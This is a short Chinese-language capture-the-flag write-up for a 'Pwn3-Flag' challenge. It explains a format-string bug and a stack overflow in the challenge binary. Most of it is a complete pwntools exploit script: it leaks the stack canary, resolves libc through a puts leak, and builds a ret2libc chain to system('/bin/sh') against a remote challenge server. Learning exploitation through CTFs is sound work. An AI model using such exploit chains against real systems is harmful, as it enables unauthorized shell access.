Pwn3-Flag
在welcome中
有一个fmt漏洞,但是需要和远程中的help.txt字符相同才行,随便测试一下发现第一个字符是a
back函数里面溢出,先利用fmt函数泄露出canary,然后利用溢出打正常的ret2libc
from pwn import *
from LibcSearcher import*
p=remote('182.92.237.102',10012)
FILENAME='../pwn'
# p=process(FILENAME)
elf=ELF(FILENAME)
# libc=ELF('../libc.so.6')
# p=gdb.debug(FILENAME,'b* 0x08049422')
# gdb.attach(p,'b* 0x8049366')
context.arch='i386'
payload=b'a%19$p'
p.sendline(payload)
p.recvuntil(b'0x')
canary=int(p.recv(4*2),16)
success('canary '+hex(canary))
leak='read'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
call_back=0x80494E0
payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)
payload+=p32(puts_plt)+p32(call_back)+p32(leak_got)
p.recvuntil(b'Input')
p.sendline(payload)
leak_add=u32(p.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher(leak,leak_add)
libcbase=leak_add-libc.dump(leak)
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
log.info('libcbase '+hex(libcbase))
payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)
payload+=p32(system)+p32(call_back)+p32(str_bin_sh)
p.recvuntil(b'Input')
p.sendline(payload)
p.interactive()